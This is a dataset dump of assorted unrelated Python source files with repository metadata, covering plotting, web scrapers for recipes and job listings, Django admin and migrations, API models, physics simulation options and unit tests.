[l1a, l1b], ['Gudmundsson method', 'Mattingly method'], loc="upper right")
else:
plt.plot(w_s, p_w[i, :], color=color[i],
label=constrains_name[i])
plt.plot(w_s, p_w[i + m, :], color=color[i], linestyle='--')
p_w[1, :] = 200 / (p_w[1, -1] - p_w[1, 20]) * (w_s - p_w[1, 2])
if k != 2:
p_w[1 + m, :] = 10 ** 10 * (w_s - p_w[1 + m, 2])
else:
p_w[1 + m, :] = 200 / (p_w[1 + m, -1] - p_w[1 + m, 20]) * (w_s - p_w[1 + m, 2])
plt.fill_between(w_s, np.amax(p_w[0:m - 1, :], axis=0), 200, color='b', alpha=0.25,
label=label[k])
plt.fill_between(w_s, np.amax(p_w[m:2 * m - 1, :], axis=0), 200, color='r', alpha=0.25,
label=label[k + 3])
plt.xlabel('Wing Load: $W_{TO}$/S (N/${m^2}$)')
plt.ylabel('Power-to-Load: $P_{SL}$/$W_{TO}$ (W/N)')
plt.legend(bbox_to_anchor=(1.002, 1), loc="upper left")
plt.gca().add_artist(l1)
plt.xlim(100, 9000)
plt.ylim(0, 200)
plt.tight_layout()
plt.grid()
plt.show()
| [
"[email protected]"
]
| |
54c140dea6736faad18cb4b357753ab8fe9c78d5 | 0cba5529e387ba0f077b4e8ddeb96f914004f5df | /misc/crawl/main.py | f61ef4cffc7591cf3323b98f28e84f45b993d08d | [
"MIT"
]
| permissive | AsyrafAzlan/Malaya | dc78398ee6880578f40c5646a48882a5913217ae | 3d5166173cf74881f7a56fffaaf391813c55d4f1 | refs/heads/master | 2021-05-21T22:47:41.863857 | 2020-04-03T15:00:21 | 2020-04-03T15:00:21 | 252,841,526 | 1 | 0 | MIT | 2020-04-03T21:04:44 | 2020-04-03T21:04:44 | null | UTF-8 | Python | false | false | 1,449 | py | import sys
import argparse
def check_positive(value):
ivalue = int(value)
if ivalue <= 0:
raise argparse.ArgumentTypeError(
'%s is an invalid positive int value' % value
)
return ivalue
ap = argparse.ArgumentParser()
ap.add_argument('-i', '--issue', required = True, help = 'issue to search')
ap.add_argument(
'-s',
'--start',
type = check_positive,
required = True,
help = 'year start to crawl',
)
ap.add_argument(
'-e',
'--end',
type = check_positive,
required = True,
help = 'year end to crawl',
)
ap.add_argument(
'-l',
'--limit',
type = check_positive,
required = True,
help = 'limit of articles to crawl',
)
ap.add_argument(
'-p',
'--sleep',
type = check_positive,
default = 10,
help = 'seconds to sleep for every 10 articles',
)
ap.add_argument(
'-m', '--malaya', default = False, help = 'boolean to use Malaya'
)
args = vars(ap.parse_args())
from core import google_news_run
import json
xgb_model = None
if args['malaya']:
import malaya
xgb_model = malaya.xgb_detect_languages()
results = google_news_run(
args['issue'],
limit = args['limit'],
year_start = args['start'],
year_end = args['end'],
debug = False,
sleep_time_every_ten_articles = args['sleep'],
xgb_model = xgb_model,
)
with open(args['issue'] + '.json', 'w') as fopen:
fopen.write(json.dumps(results))
| [
"[email protected]"
]
| |
d9ff74cab1b9b382b1a78451ee982e6b7ca7fcf1 | f0316e656767cf505b32c83eef4df13bb9f6b60c | /LeetCode/Python/Easy/1603_design_parking_system.py | 34b0d5713382c201f7ab08da8a4483f7bda44d32 | []
| no_license | AkshdeepSharma/Classroom | 70ec46b35fab5fc4a9d2eac430659d7dafba93da | 4e55799466c101c736de6c7e07d716ff147deb83 | refs/heads/master | 2022-06-13T18:14:03.236503 | 2022-05-17T20:16:28 | 2022-05-17T20:16:28 | 94,828,359 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 657 | py | class ParkingSystem:
def __init__(self, big: int, medium: int, small: int):
self.big = big
self.medium = medium
self.small = small
def addCar(self, carType: int) -> bool:
if carType == 1 and self.big > 0:
self.big -= 1
return True
if carType == 2 and self.medium > 0:
self.medium -= 1
return True
if carType == 3 and self.small > 0:
self.small -= 1
return True
return False
# Your ParkingSystem object will be instantiated and called as such:
# obj = ParkingSystem(big, medium, small)
# param_1 = obj.addCar(carType)
| [
"[email protected]"
]
| |
bc85782c3aeb9a7be067f9ec854daf239eaefaa4 | 6f1a0823a28955f0f44fc69862ebd3ab873d79a3 | /choices/admin.py | f9fccb307608bf20ae3e5cc14e4fe20e1799710e | []
| no_license | tommydangerous/spadetree | 69c437c7ea543a2a3906fc60ff223fa1ac16a1d8 | 04a7fcecf2c79db02c1cc2f9de733cf54009836a | refs/heads/master | 2020-05-03T21:43:14.509381 | 2014-10-07T04:27:59 | 2014-10-07T04:27:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | from django.contrib import admin
from choices.models import Choice, ChoiceNote
class ChoiceAdmin(admin.ModelAdmin):
list_display = ('pk', 'tutor', 'tutee', 'interest', 'created', 'accepted',
'denied', 'completed', 'date_completed', 'content', 'tutor_viewed',
'tutee_viewed', 'day', 'hour', 'date', 'address', 'city', 'state',)
list_display_links = ('tutee', 'tutor',)
search_fields = ('tutee', 'tutor',)
class ChoiceNoteAdmin(admin.ModelAdmin):
list_display = ('pk', 'user', 'choice', 'content',)
list_display_links = ('pk', 'user',)
search_fields = ('content',)
admin.site.register(Choice, ChoiceAdmin)
admin.site.register(ChoiceNote, ChoiceNoteAdmin) | [
"[email protected]"
]
| |
c0e3a391ef5b8736bfaa7b0ae24781444cd7257e | 563274d0bfb720b2d8c4dfe55ce0352928e0fa66 | /TestProject/src/intellect/examples/rulesfest/BagOfWool.py | c81e60f5a0de75ca5d9b3d74d5a8de8012a8f7bf | []
| no_license | wangzhengbo1204/Python | 30488455637ad139abc2f173a0a595ecaf28bcdc | 63f7488d9df9caf1abec2cab7c59cf5d6358b4d0 | refs/heads/master | 2020-05-19T19:48:27.092764 | 2013-05-11T06:49:41 | 2013-05-11T06:49:41 | 6,544,357 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,855 | py | """
Copyright (c) 2011, Michael Joseph Walsh.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. All advertising materials mentioning features or use of this software
must display the following acknowledgement:
This product includes software developed by the author.
4. Neither the name of the author nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
'''
Created on Aug 29, 2011
@author: Michael Joseph Walsh
'''
class BagOfWool(object):
'''
Used to signify a bag of wool
'''
def __init__(self):
'''
BagsOfWool Initializer
'''
| [
"[email protected]"
]
| |
cd6f6b1ab275a1d882c55fb188d3f83c804fcc16 | dd25972910fcf2e636034130511f3e90e72279ab | /tests/test_utils.py | a68203afe83de59ce51e5ff9509f8c42cf3f7963 | [
"Apache-2.0",
"LicenseRef-scancode-public-domain",
"MIT"
]
| permissive | juju-solutions/jujubigdata | 730919f25c86e0bca50c4d6e8fc31c08d56c68c8 | c7a7d68feb6fd5a7661835ac2bcf178a39f3c7f2 | refs/heads/master | 2021-05-23T06:19:50.498529 | 2016-05-25T20:50:36 | 2016-05-25T20:50:36 | 35,439,404 | 2 | 6 | Apache-2.0 | 2021-03-25T21:38:42 | 2015-05-11T17:37:55 | Python | UTF-8 | Python | false | false | 4,155 | py | #!/usr/bin/env python
# Copyright 2014-2015 Canonical Limited.
#
# This file is part of jujubigdata.
#
# jujubigdata is free software: you can redistribute it and/or modify
# it under the terms of the Apache License version 2.0.
#
# jujubigdata is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# Apache License for more details.
import os
import tempfile
import unittest
import mock
from path import Path
from jujubigdata import utils
class TestError(RuntimeError):
pass
class TestUtils(unittest.TestCase):
def test_disable_firewall(self):
with mock.patch.object(utils, 'check_call') as check_call:
with utils.disable_firewall():
check_call.assert_called_once_with(['ufw', 'disable'])
check_call.assert_called_with(['ufw', 'enable'])
def test_disable_firewall_on_error(self):
with mock.patch.object(utils, 'check_call') as check_call:
try:
with utils.disable_firewall():
check_call.assert_called_once_with(['ufw', 'disable'])
raise TestError()
except TestError:
check_call.assert_called_with(['ufw', 'enable'])
def test_re_edit_in_place(self):
fd, filename = tempfile.mkstemp()
os.close(fd)
tmp_file = Path(filename)
try:
tmp_file.write_text('foo\nbar\nqux')
utils.re_edit_in_place(tmp_file, {
r'oo$': 'OO',
r'a': 'A',
r'^qux$': 'QUX',
})
self.assertEqual(tmp_file.text(), 'fOO\nbAr\nQUX')
finally:
tmp_file.remove()
def test_xmlpropmap_edit_in_place(self):
fd, filename = tempfile.mkstemp()
os.close(fd)
tmp_file = Path(filename)
try:
tmp_file.write_text(
'<?xml version="1.0"?>\n'
'<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>\n'
'\n'
'<!-- Put site-specific property overrides in this file. -->\n'
'\n'
'<configuration>\n'
' <property>\n'
' <name>modify.me</name>\n'
' <value>1</value>\n'
' <description>Property to be modified</description>\n'
' </property>\n'
' <property>\n'
' <name>delete.me</name>\n'
' <value>None</value>\n'
' <description>Property to be removed</description>\n'
' </property>\n'
' <property>\n'
' <name>do.not.modify.me</name>\n'
' <value>0</value>\n'
' <description>Property to *not* be modified</description>\n'
' </property>\n'
'</configuration>')
with utils.xmlpropmap_edit_in_place(tmp_file) as props:
del props['delete.me']
props['modify.me'] = 'one'
props['add.me'] = 'NEW'
self.assertEqual(
tmp_file.text(),
'<?xml version="1.0" ?>\n'
'<configuration>\n'
' <property>\n'
' <name>modify.me</name>\n'
' <value>one</value>\n'
' <description>Property to be modified</description>\n'
' </property>\n'
' <property>\n'
' <name>do.not.modify.me</name>\n'
' <value>0</value>\n'
' <description>Property to *not* be modified</description>\n'
' </property>\n'
' <property>\n'
' <name>add.me</name>\n'
' <value>NEW</value>\n'
' </property>\n'
'</configuration>\n')
finally:
tmp_file.remove()
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
]
| |
b2a162d9f9f162eb8a362eaa7d7226b8ba65b540 | 3ff4da2c4fbbf5310695d96bcf7f06a3fdf6d9f5 | /Python/Edx_Course/Analytics in Python/Excercises/W4_Practice_2_dictionary_ingredients_preparation.py | b01b0498f77363b81daca9df1fba6b6bb27ef2a8 | []
| no_license | ivanromanv/manuales | cab14389161cbd3fb6a5d4e2d4e4851f8d1cda16 | a296beb5052712ae3f03a3b492003bfc53d5cbba | refs/heads/master | 2018-10-01T01:01:50.166637 | 2018-07-22T18:55:50 | 2018-07-22T18:55:50 | 106,485,581 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,026 | py | # returns a dictionary containing the ingredients and preparation instructions
#
#
def get_recipe_info(recipe_link):
recipe_dict = dict()
import requests
from bs4 import BeautifulSoup
try:
response = requests.get(recipe_link)
if not response.status_code == 200:
return recipe_dict
result_page = BeautifulSoup(response.content,'lxml')
ingredient_list = list()
prep_steps_list = list()
for ingredient in result_page.find_all('li',class_='ingredient'):
ingredient_list.append(ingredient.get_text())
for prep_step in result_page.find_all('li',class_='preparation-step'):
prep_steps_list.append(prep_step.get_text().strip())
recipe_dict['ingredients'] = ingredient_list
recipe_dict['preparation'] = prep_steps_list
return recipe_dict
except:
return recipe_dict
recipe_link = "http://www.epicurious.com" + '/recipes/food/views/spicy-lemongrass-tofu-233844'
get_recipe_info(recipe_link) | [
"โivanromanv@gmailโ"
]
| โivanromanv@gmailโ |
c38d930610a88fbfe78343ed1d9797eee7ac3150 | be0f3dfbaa2fa3d8bbe59229aef3212d032e7dd1 | /Gauss_v45r8/Gen/DecFiles/options/14165002.py | 19933c4814bf463ca3508a791d21a537372aaacb | []
| no_license | Sally27/backup_cmtuser_full | 34782102ed23c6335c48650a6eaa901137355d00 | 8924bebb935b96d438ce85b384cfc132d9af90f6 | refs/heads/master | 2020-05-21T09:27:04.370765 | 2018-12-12T14:41:07 | 2018-12-12T14:41:07 | 185,989,173 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 815 | py | # file /home/hep/ss4314/cmtuser/Gauss_v45r8/Gen/DecFiles/options/14165002.py generated: Fri, 27 Mar 2015 15:47:59
#
# Event Type: 14165002
#
# ASCII decay Descriptor: [B_c+ -> ([B_s0]nos -> (D_s- -> K+ K- pi-) pi+, [B_s0]os -> (D_s+ -> K+ K- pi+) pi-) pi+]cc
#
from Configurables import Generation
Generation().EventType = 14165002
Generation().SampleGenerationTool = "Special"
from Configurables import Special
Generation().addTool( Special )
Generation().Special.ProductionTool = "BcVegPyProduction"
Generation().PileUpTool = "FixedLuminosityForRareProcess"
from Configurables import ToolSvc
from Configurables import EvtGenDecay
ToolSvc().addTool( EvtGenDecay )
ToolSvc().EvtGenDecay.UserDecayFile = "$DECFILESROOT/dkfiles/Bc_Bspi+_Dspi=BcVegPy,DecProdCut.dec"
Generation().Special.CutTool = "BcDaughtersInLHCb"
| [
"[email protected]"
]
| |
c8602c38456724f4cf0ecdb69a254026ec4a2afc | 2855f26e603ec7bf5b18876b54b75ee4577bdf2c | /bankrecon/migrations/0002_reconciliation_marker.py | bc25443b472d1f0c6d6130e214e29d0aa13b7ae3 | []
| no_license | zkenstein/ppob_multipay_v2 | e8ea789c395c6fa5b83ba56fbaf5ea08a2a77a14 | 85296f925acf3e94cc371637805d454581391f6e | refs/heads/master | 2022-03-04T13:53:30.893380 | 2019-11-16T22:49:50 | 2019-11-16T22:49:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 395 | py | # Generated by Django 2.1.5 on 2019-04-16 16:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('bankrecon', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='reconciliation',
name='marker',
field=models.TextField(blank=True, max_length=30),
),
]
| [
"[email protected]"
]
| |
20188e1c1daf1aba8413510e021265f023defa6c | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /ke4FSMdG2XYxbGQny_24.py | 6930f8ab144bbed9488241d9059899adbcd6d6d4 | []
| no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 173 | py |
def even_odd_transform(lst, n):
for i in range(len(lst)):
for j in range(n):
if lst[i] %2==0 :
lst[i]-= 2
else :
lst[i]+= 2
return lst
| [
"[email protected]"
]
| |
521c0123282061359a18e1ed2fb872d8782cea5d | 2dc12207547c3438421905aee1c506d427e0cbf1 | /ch17-01-ๅ้ไฝ็จๅ.py | 292464fb81bc78836df82ae8823bc6f238000a73 | []
| no_license | xmduhan/reading_notes__learning_python | 8b61ea30be3fb50e1ad49764fcfc8bee8189f48e | 3526f6b07cb2be799b2baddd7a2e3afef27e7b81 | refs/heads/master | 2020-05-17T16:26:23.624423 | 2014-06-15T04:43:38 | 2014-06-15T04:43:38 | 16,638,479 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 835 | py | # -*- coding: utf-8 -*-
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
ๅ้ไฝ็จๅ
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
#%% ๅฏไปฅๆฏ็ดๆฅ่ฎฟ้ฎglobalๆฐๆฎ
x = 1
def fun():
print(x) # ่ฏปๅไธไธชๅผ
fun()
#%% ๅฏไปฅๆฏ็ดๆฅ่ฎฟ้ฎglobalๆฐๆฎ
x = 1
def fun():
y = x + 1 # ่ฏปๅไธไธชๅผ
print 'y =', y
fun()
#%%
x = 1
def fun():
x = 2 # ๆ ๆณไฝฟ็จx=2๏ผไฟฎๆนๅ
จๅฑๅ้
fun()
print "x =", x
#%%
x = 1
def fun():
global x
x = 2 # ๆๅฎไบglobal x๏ผๆไปฅx=2๏ผๅฏไปฅไฟฎๆนๅ
จๅฑๅ้
fun()
print 'x =' ,x
#%%
x = 1
def fun():
#import ch17-01 # ็ฑไบ้ฃไธช่ฏฅๆญป็"-"ๅฏผ่ดๆ ๆณไฝฟ็จimport่ฏญๅฅๅฏผๅ
ฅๆจกๅ
import sys
sys.modules['ch17-01']
| [
"[email protected]"
]
| |
5d8cabc7d618696a371038fb7960237e18f85354 | 7bededcada9271d92f34da6dae7088f3faf61c02 | /pypureclient/flasharray/FA_2_17/models/directory_space.py | 181da14d597c49d1cb1260370a9839af5f77bbba | [
"BSD-2-Clause"
]
| permissive | PureStorage-OpenConnect/py-pure-client | a5348c6a153f8c809d6e3cf734d95d6946c5f659 | 7e3c3ec1d639fb004627e94d3d63a6fdc141ae1e | refs/heads/master | 2023-09-04T10:59:03.009972 | 2023-08-25T07:40:41 | 2023-08-25T07:40:41 | 160,391,444 | 18 | 29 | BSD-2-Clause | 2023-09-08T09:08:30 | 2018-12-04T17:02:51 | Python | UTF-8 | Python | false | false | 4,530 | py | # coding: utf-8
"""
FlashArray REST API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 2.17
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re
import six
import typing
from ....properties import Property
if typing.TYPE_CHECKING:
from pypureclient.flasharray.FA_2_17 import models
class DirectorySpace(object):
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'name': 'str',
'space': 'Space',
'time': 'int'
}
attribute_map = {
'id': 'id',
'name': 'name',
'space': 'space',
'time': 'time'
}
required_args = {
}
def __init__(
self,
id=None, # type: str
name=None, # type: str
space=None, # type: models.Space
time=None, # type: int
):
"""
Keyword args:
id (str): A globally unique, system-generated ID. The ID cannot be modified and cannot refer to another resource.
name (str): A locally unique, system-generated name. The name cannot be modified.
space (Space): Displays size and space consumption information.
time (int): The timestamp of when the data was taken. Measured in milliseconds since the UNIX epoch.
"""
if id is not None:
self.id = id
if name is not None:
self.name = name
if space is not None:
self.space = space
if time is not None:
self.time = time
def __setattr__(self, key, value):
if key not in self.attribute_map:
raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key))
self.__dict__[key] = value
def __getattribute__(self, item):
value = object.__getattribute__(self, item)
if isinstance(value, Property):
raise AttributeError
else:
return value
def __getitem__(self, key):
if key not in self.attribute_map:
raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key))
return object.__getattribute__(self, key)
def __setitem__(self, key, value):
if key not in self.attribute_map:
raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key))
object.__setattr__(self, key, value)
def __delitem__(self, key):
if key not in self.attribute_map:
raise KeyError("Invalid key `{}` for `DirectorySpace`".format(key))
object.__delattr__(self, key)
def keys(self):
return self.attribute_map.keys()
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
if hasattr(self, attr):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(DirectorySpace, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, DirectorySpace):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"[email protected]"
]
| |
720de787bbd74071e10d2e644a9c055ed7813456 | d2bb57efe62e1747a6ea2287da5c21fd18bfde02 | /mayan/apps/documents/tests/test_setting_migrations.py | 36906893232b807e0b2d006b9a929f1f5f38beb9 | [
"Apache-2.0"
]
| permissive | O2Graphics/Mayan-EDMS | 1bf602e17a6df014342433827a500863eaed2496 | e11e6f47240f3c536764be66828dbe6428dceb41 | refs/heads/master | 2020-09-28T06:26:39.728748 | 2019-12-09T19:00:33 | 2019-12-09T19:00:33 | 226,711,506 | 0 | 0 | NOASSERTION | 2019-12-09T19:00:34 | 2019-12-08T18:21:06 | null | UTF-8 | Python | false | false | 2,133 | py | from __future__ import unicode_literals
from django.conf import settings
from django.utils.encoding import force_bytes
from mayan.apps.common.tests.base import BaseTestCase
from mayan.apps.common.tests.mixins import EnvironmentTestCaseMixin
from mayan.apps.smart_settings.classes import Setting
from mayan.apps.storage.utils import NamedTemporaryFile
from ..settings import (
setting_documentimagecache_storage_arguments,
setting_storage_backend_arguments
)
class DocumentSettingMigrationTestCase(EnvironmentTestCaseMixin, BaseTestCase):
def test_documents_storage_backend_arguments_0001(self):
test_value = {'location': 'test value'}
with NamedTemporaryFile() as file_object:
settings.CONFIGURATION_FILEPATH = file_object.name
file_object.write(
force_bytes(
'{}: {}'.format(
'DOCUMENTS_CACHE_STORAGE_BACKEND_ARGUMENTS',
'"{}"'.format(
Setting.serialize_value(value=test_value)
)
)
)
)
file_object.seek(0)
Setting._config_file_cache = None
self.assertEqual(
setting_documentimagecache_storage_arguments.value,
test_value
)
def test_documents_cache_storage_backend_arguments_0001(self):
test_value = {'location': 'test value'}
with NamedTemporaryFile() as file_object:
settings.CONFIGURATION_FILEPATH = file_object.name
file_object.write(
force_bytes(
'{}: {}'.format(
'DOCUMENTS_STORAGE_BACKEND_ARGUMENTS',
'"{}"'.format(
Setting.serialize_value(value=test_value)
)
)
)
)
file_object.seek(0)
Setting._config_file_cache = None
self.assertEqual(
setting_storage_backend_arguments.value,
test_value
)
| [
"[email protected]"
]
| |
cfbcbb6c08a5180985b1d36858eed3a4722b30aa | fb2e7a15d2b0ab34cc47664a526640aa80441083 | /try7.py | 93f5ff0e9a63ab816b0d7441bd017dc63c7e993e | []
| no_license | Jeonghwan-Yoo/python_practice | c7b4d19b1da589b12ec025f3ff5729407ee0ca26 | c82e0308b4b3a227ddbd560cedecc49c036ef4c2 | refs/heads/master | 2020-07-27T00:12:33.139274 | 2019-09-16T13:26:49 | 2019-09-16T13:26:49 | 208,806,360 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 220 | py | a=[1,2,3]
try:
a[5]=6
except (ZeroDivisionError,IndexError,TypeError):
print('ZeroDivisionError,IndexError or TypeError')
except:
print('undefined error')
else:
print('good')
finally:
print('necessarily executed') | [
"[email protected]"
]
| |
93b5dafce54315a1f6bba023be93717bd858afa6 | 95761ba9ca92c9bf68f3fb88524ee01ddba9b314 | /api-web/src/www/application/modules/search/handlers.py | 91e5c196d1bcf213917388cff3ae848ef577618a | []
| no_license | duytran92-cse/nas-workboard | 918adf4b976f04a13dc756f8dc32aecf397c6258 | bebe7674a7c6e8a3776264f18a3b7ca6b417dc7e | refs/heads/master | 2022-10-23T01:02:39.583449 | 2020-06-14T19:25:01 | 2020-06-14T19:25:01 | 272,268,882 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 984 | py | from notasquare.urad_api import *
from application.models import *
from application import constants
from django.conf import settings
from django.db.models import Q
class Search(handlers.standard.GetHandler):
def get_data(self, data):
kw=str(data['keyword'])
result = {
'board': [],
'category': [],
'story': [],
'matches': 0,
}
for board in Board.objects.filter(name__icontains=kw):
record = {'name': board.name, 'id': board.id}
result['board'].append(record)
for category in BoardCategory.objects.filter(name__icontains=kw):
record = {'name': category.name, 'board_id': category.board.id, 'category_id': category.id}
result['category'].append(record)
for story in BoardStory.objects.filter(name__icontains=kw):
record = {'name': story.name, 'board_id': story.board.id, 'story_id': story.id}
result['story'].append(record)
result['matches'] = len(result['board']) + len(result['category']) + len(result['story'])
return result | [
"[email protected]"
]
| |
a4b36ef3012a4833e99a6ced7f53a024ab683991 | 77b94c318ee6014f6080aa34886b85aa47500992 | /scraping/utils.py | c65ed994a3d7f8351d77613dd234a3d3fb7902c3 | []
| no_license | dm1tro69/rabota_find | 472c8417784333806db22eb4bb9ef722f5df779d | d3b903478186c9fa7313f1fedfefe6b2fe069164 | refs/heads/master | 2020-09-06T20:11:23.468166 | 2019-11-06T21:00:16 | 2019-11-06T21:00:16 | 220,536,761 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,194 | py | import codecs
import datetime
import requests
from bs4 import BeautifulSoup as BS
import time
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)'
' Chrome/76.0.3809.100 Safari/537.36'}
def djinni():
session = requests.Session()
base_url = 'https://djinni.co/jobs/?primary_keyword=Python&location=ะะธะตะฒ'
domain = 'https://djinni.co'
jobs =[]
urls = []
urls.append(base_url)
urls.append(base_url + '&page=2')
#req = session.get(base_url, headers=headers)
for url in urls:
for url in urls:
time.sleep(2)
req = session.get(url, headers=headers)
if req.status_code == 200:
bsObj = BS(req.content, "html.parser")
li_list = bsObj.find_all('li', attrs={'class': 'list-jobs__item'})
for li in li_list:
div = li.find('div', attrs={'class': 'list-jobs__title'})
title = div.a.text
href = div.a['href']
short = 'No description'
# company = "No name"
descr = li.find('div', attrs={'class': 'list-jobs__description'})
if descr:
short = descr.p.text
jobs.append({'href': domain + href,
'title': title,
'descript': short,
'company': "No name"})
return jobs
def rabota():
session = requests.Session()
base_url = 'https://rabota.ua/zapros/python/%d0%ba%d0%b8%d0%b5%d0%b2?period=3&lastdate='
domain = 'https://rabota.ua'
jobs = []
urls = []
yesterday = datetime.date.today() - datetime.timedelta(1)
one_day_ago = yesterday.strftime('%d.%m.%Y')
base_url = base_url + one_day_ago
urls.append(base_url)
req = session.get(base_url, headers=headers)
if req.status_code == 200:
bsObj = BS(req.content, 'html.parser')
pagination = bsObj.find('dl', attrs={'id': 'ctl00_content_vacancyList_gridList_ctl23_pagerInnerTable'})
if pagination:
pages = pagination.find_all('a', attrs={'class': 'f-always-blue'})
for page in pages:
urls.append(domain + page['href'])
for url in urls:
time.sleep(2)
req = session.get(url, headers=headers)
if req.status_code == 200:
bsObj = BS(req.content, 'html.parser')
table = bsObj.find('table', attrs={'id': 'ctl00_content_vacancyList_gridList'})
if table:
tr_list = bsObj.find_all('tr', attrs={'id': True})
for tr in tr_list:
h3 = tr.find('h3', attrs={'class': 'f-vacancylist-vacancytitle'})
title = h3.a.text
href = h3.a['href']
short = 'No description'
company = 'No name'
logo = tr.find('p', attrs={'class': 'f-vacancylist-companyname'})
if logo:
company = logo.a.text
p = tr.find('p', attrs={'class': 'f-vacancylist-shortdescr'})
if p:
short = p.text
jobs.append({'href': domain + href,
'title': title,
'descript': short,
'company': company})
return jobs
def work():
base_url = 'https://www.work.ua/jobs-kyiv-python/'
session = requests.Session()
domain = 'https://www.work.ua'
jobs = []
urls = []
urls.append(base_url)
req = session.get(base_url, headers=headers)
if req.status_code == 200:
bsObj = BS(req.content, 'html.parser')
pagination = bsObj.find('ul', attrs={'class': 'pagination'})
if pagination:
pages = pagination.find_all('li', attrs={'class': False})
for page in pages:
urls.append(domain + page.a['href'])
for url in urls:
time.sleep(2)
req = session.get(url, headers=headers)
if req.status_code == 200:
bsObj = BS(req.content, 'html.parser')
div_list = bsObj.find_all('div', attrs={'class': 'job-link'})
for div in div_list:
title = div.find('h2')
href = title.a['href']
short = div.p.text
company = 'No name'
logo = div.find('img')
if logo:
company = logo['alt']
jobs.append({'href': domain + href,
'title': title.text,
'descript': short,
'company': company})
return jobs
def dou():
base_url = 'https://jobs.dou.ua/vacancies/?category=Python&city=%D0%9A%D0%B8%D0%B5%D0%B2'
session = requests.Session()
jobs = []
urls = []
urls.append(base_url)
req = session.get(base_url, headers=headers)
for url in urls:
time.sleep(2)
req = session.get(url, headers=headers)
if req.status_code == 200:
bsObj = BS(req.content, 'html.parser')
div = bsObj.find('div', attrs={'id': 'vacancyListId'})
if div:
li_list = div.find_all('li', attrs={'class': 'l-vacancy'})
for li in li_list:
a = div.find('a', attrs={'class': 'vt'})
title = a.text
href = a['href']
short = 'No description'
company = 'No name'
a_company = li.find('a', attrs={'class': 'company'})
if a_company:
company = a_company.text
descr = li.find('div', attrs={'class': 'sh-info'})
if descr:
short = descr.text
jobs.append({'href': href,
'title': title,
'descript': short,
'company': company})
return jobs
| [
"[email protected]"
]
| |
c95b62caf60eaabd5548d4fd3d27c9f4b7bd46b8 | ffb6d3055d80d3403591f027d71701d4527b139a | /ACM-Solution/BEENUMS.py | d78ba92b0956733ea134415d77456e0bc1e97785 | [
"MIT"
]
